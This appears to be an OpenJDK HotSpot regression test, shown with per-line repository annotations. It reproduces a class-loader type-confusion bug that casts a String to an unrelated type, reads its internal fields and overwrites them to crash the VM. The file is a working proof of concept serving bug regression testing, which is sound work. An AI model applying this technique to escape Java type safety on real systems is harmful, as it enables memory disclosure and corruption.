aoqi@0: aoqi@0: import java.lang.reflect.*; aoqi@0: import java.security.*; aoqi@0: aoqi@0: abstract public class bug_21227 { aoqi@0: aoqi@0: // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned aoqi@0: public static Object _p0wnee; aoqi@0: aoqi@0: public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException { aoqi@0: System.out.println("Warmup"); aoqi@0: aoqi@0: // Make a Class 'many_loader' under the default loader aoqi@0: bug_21227 bug = new many_loader(); aoqi@0: aoqi@0: // Some classes under a new Loader, LOADER2, including another version of 'many_loader' aoqi@0: ClassLoader LOADER2 = new Loader2(); aoqi@0: Class clazz2 = LOADER2.loadClass("from_loader2"); aoqi@0: IFace iface = (IFace)clazz2.newInstance(); aoqi@0: aoqi@0: // Set the victim, a String of length 6 aoqi@0: String s = "victim"; aoqi@0: _p0wnee = s; aoqi@0: aoqi@0: // Go cast '_p0wnee' to type You_Have_Been_P0wned aoqi@0: many_loader[] x2 = bug.make(iface); aoqi@0: aoqi@0: many_loader b = x2[0]; aoqi@0: aoqi@0: // Make it clear that the runtime type many_loader (what we get from the aoqi@0: // array X2) varies from the static type of many_loader. aoqi@0: Class cl1 = b.getClass(); aoqi@0: ClassLoader ld1 = cl1.getClassLoader(); aoqi@0: Class cl2 = many_loader.class; aoqi@0: ClassLoader ld2 = cl2.getClassLoader(); aoqi@0: System.out.println("bug.make() "+ld1+":"+cl1); aoqi@0: System.out.println("many_loader "+ld2+":"+cl2); aoqi@0: aoqi@0: // Read the victims guts out aoqi@0: You_Have_Been_P0wned q = b._p0wnee; aoqi@0: System.out.println("q._a = 0x"+Integer.toHexString(q._a)); aoqi@0: System.out.println("q._b = 0x"+Integer.toHexString(q._b)); aoqi@0: System.out.println("q._c = 0x"+Integer.toHexString(q._c)); aoqi@0: System.out.println("q._d = 0x"+Integer.toHexString(q._d)); aoqi@0: aoqi@0: System.out.println("I will now crash the VM:"); aoqi@0: // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM aoqi@0: //q._c = 3; aoqi@0: q._a = -1; aoqi@0: aoqi@0: System.out.println(s); aoqi@0: aoqi@0: } aoqi@0: aoqi@0: // I need to compile (hence call in a loop) a function which returns a value aoqi@0: // loaded from classloader other than the system one. The point of this aoqi@0: // call is to give me an abstract 'hook' into a function loaded with a aoqi@0: // foreign loader. aoqi@0: public abstract many_loader[] make( IFace iface ); // abstract factory aoqi@0: } aoqi@0: